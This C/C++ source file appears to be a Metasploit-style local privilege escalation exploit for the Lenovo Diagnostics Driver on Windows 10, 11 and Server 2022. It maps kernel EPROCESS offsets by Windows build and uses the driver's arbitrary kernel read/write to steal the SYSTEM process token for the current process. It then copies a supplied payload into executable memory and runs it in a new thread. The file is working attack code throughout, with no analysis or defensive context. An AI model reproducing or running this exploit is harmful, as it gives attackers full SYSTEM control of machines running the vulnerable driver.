#pragma once
#define DEBUGTRACE 1
#include "common.h"
#include "definitions.h"
#include "LenovoMemoryMgr.h"

#include <tchar.h>

const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
fNtQuerySystemInformation NtQuerySystemInfo = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;

void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
	if (!pMsfPayload)
		return;
	PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!pPayload)
		return;
	CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
}

BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) {

	dwBuild = LOWORD(dwBuild);
	//dprintf("[*] Windows version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
	if ((dwMajor == 10) && (dwMinor == 0)) {
		if ((dwBuild >= 14393) && (dwBuild <= 19045)) {
			if ((dwBuild < 15063)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1607;
			}
			else if ((dwBuild < 16299)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1703;
			}
			else if ((dwBuild < 17134)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1709;
			}
			else if ((dwBuild < 17763)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
			}
			else if ((dwBuild < 18362)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1809;
			}
			else if ((dwBuild < 19041)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
			}
			else if ((dwBuild < 19043)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v2004;
			}
			else if ((dwBuild == 19044)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
			}
			else if ((dwBuild == 19045)) {
				g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
			}
		}
		else if (dwBuild == 22000) {
			g_pEprocessOffsets = &EprocessOffsetsWin11v21H2;
		}
		else if (dwBuild == 20348) {
			g_pEprocessOffsets = &EprocessOffsetsWinServer2022;
		}
	}
	else {
		return FALSE;
	}
	return TRUE;
}

PSYSTEM_HANDLE_TABLE_ENTRY_INFO GetHandleEntryInfo(HANDLE hHandle, DWORD dwProcessId) {
	HANDLE hProcessHeap = GetProcessHeap();
	DWORD dwSize = 4096;
	DWORD dwReturnSize = 0;
	PSYSTEM_HANDLE_INFORMATION pSystemHandles = NULL;
	PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
	NTSTATUS Status = STATUS_UNSUCCESSFUL;

	do {
		if (pSystemHandles) {
			HeapFree(hProcessHeap, 0, pSystemHandles);
			pSystemHandles = NULL;
			dwSize *= 2;
		}
		pSystemHandles = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwSize);
		if (pSystemHandles == NULL) {
			return NULL;
		}

		Status = (NTSTATUS)NtQuerySystemInfo(SystemHandleInformation, pSystemHandles, dwSize, &dwReturnSize);
	} while (Status == STATUS_INFO_LENGTH_MISMATCH);

	if (Status != STATUS_SUCCESS) {
		HeapFree(hProcessHeap, 0, pSystemHandles);
		return NULL;
	}

	for (DWORD dwIndex = 0; dwIndex < pSystemHandles->NumberOfHandles; dwIndex++) {
		if (pSystemHandles->Handles[dwIndex].UniqueProcessId != dwProcessId) {
			continue;
		}
		if ((HANDLE)pSystemHandles->Handles[dwIndex].HandleValue != hHandle) {
			continue;
		}

		if (pHandleEntryInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))) {
			CopyMemory(pHandleEntryInfo, &pSystemHandles->Handles[dwIndex], sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO));
		}
		break;
	}
	HeapFree(hProcessHeap, 0, pSystemHandles);
	return pHandleEntryInfo;
}

UINT64 GetPsInitialSystemProc(UINT64 lpNtoskrnlBase) {
	HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
	if (!hNtos) {
		return NULL;
	}

	PVOID initial_proc = GetProcAddress(hNtos, "PsInitialSystemProcess");
	initial_proc = (PVOID)(((SIZE_T)initial_proc - (SIZE_T)hNtos) + (SIZE_T)lpNtoskrnlBase);
	FreeLibrary(hNtos);
	return (UINT64)initial_proc;
}

// this is a over-simplification of the primitives to just do a ULONG_PTR at a time
// they can actually be used to transfer an arbitrary amount of data
ULONG_PTR KernelRead(LenovoMemoryMgr lm, ULONG_PTR SrcAddr) {
	ULONG_PTR ulValueRead;
	lm.ReadVirtData(SrcAddr, &ulValueRead);
	return ulValueRead;
}

VOID KernelWrite(LenovoMemoryMgr lm, ULONG_PTR DstAddr, ULONG_PTR Data) {
	lm.WriteVirtData(DstAddr, &Data);
}

BOOL UpgradeToken(LenovoMemoryMgr lm, PVOID pParam, ULONG_PTR ulEProcess) {
	ULONG_PTR ulEprocessBak = ulEProcess;
	ULONG_PTR ulSystemToken = 0;
	ULONG_PTR ulMyToken = 0;
	ULONG_PTR ulMyTokenAddr = 0;
	DWORD dwPidSelf = GetCurrentProcessId();

	while (!ulSystemToken || !ulMyTokenAddr) {
		DWORD dwPidRead = KernelRead(lm, ulEProcess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
		if (dwPidRead == 4)
		{
			ulSystemToken = KernelRead(lm, ulEProcess + g_pEprocessOffsets->Token);
		}

		if (dwPidRead == dwPidSelf)
		{
			ulMyTokenAddr = ulEProcess + g_pEprocessOffsets->Token;
		}
		ulEProcess = KernelRead(lm, ulEProcess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;
		if (ulEprocessBak == ulEProcess)
			break;
	}

	KernelWrite(lm, ulMyTokenAddr, ulSystemToken);
	return TRUE;
}

DWORD Exploit(PMSF_PAYLOAD pPayload) {
	HANDLE hDriver = INVALID_HANDLE_VALUE;
	HANDLE hProc = INVALID_HANDLE_VALUE;
	PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
	HMODULE hNtdll = GetModuleHandle("ntdll");

	if (hNtdll == NULL) {
		return FALSE;
	}

	NtQuerySystemInfo = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
	if (NtQuerySystemInfo == NULL) {
		return FALSE;
	}

	if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
		return FALSE;
	}

	/* get the version to determine the necessary eprocess offsets */
	DWORD dwMajor, dwMinor, dwBuild;
	RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);

	LenovoMemoryMgr lm = LenovoMemoryMgr::LenovoMemoryMgr();

	BOOL hasInit = lm.init(dwBuild);

	if (!hasInit) {
		return -1;
	}

	UINT64 OurProcess = 0;

	if (!ResolveRequirements(dwMajor, dwMinor, dwBuild)) {
		dprintf("[-] Failed to resolve requirements");
		return 0;
	}
	UINT64 PsInitialSystemProcPtr = GetPsInitialSystemProc(lm.NtosBase);
	dprintf("Found initial system process at %llx\n", PsInitialSystemProcPtr);
	UINT64 SystemProc = 0;
	lm.ReadVirtData(PsInitialSystemProcPtr, &SystemProc);

	hDriver = CreateFile(_T("\\\\.\\LenovoDiagnosticsDriver"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (hDriver == INVALID_HANDLE_VALUE) {
		dprintf("[-] Failed to get a handle to the driver");
		return 0;
	}

	hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, GetCurrentProcessId());
	if (hProc == NULL) {
		dprintf("[-] Failed to get a handle to the current process");
		CloseHandle(hDriver);
		return 0;
	}

	pHandleEntryInfo = GetHandleEntryInfo(hProc, GetCurrentProcessId());

	if (pHandleEntryInfo == NULL) {
		dprintf("[-] Failed to get the handle entry information");
		CloseHandle(hDriver);
		return 0;
	}

	dprintf("[*] Current nt!_EPROCESS found at 0x%p", pHandleEntryInfo->Object);
	dprintf("[*]         nt!_EPROCESS->Token = 0x%p", KernelRead(lm, (ULONG_PTR)pHandleEntryInfo->Object + g_pEprocessOffsets->Token));

	if (UpgradeToken(lm, hDriver, (ULONG_PTR)pHandleEntryInfo->Object)) {
		ExecutePayload(pPayload);
	}

	HeapFree(GetProcessHeap(), 0, pHandleEntryInfo);
	CloseHandle(hDriver);
	return 0;
}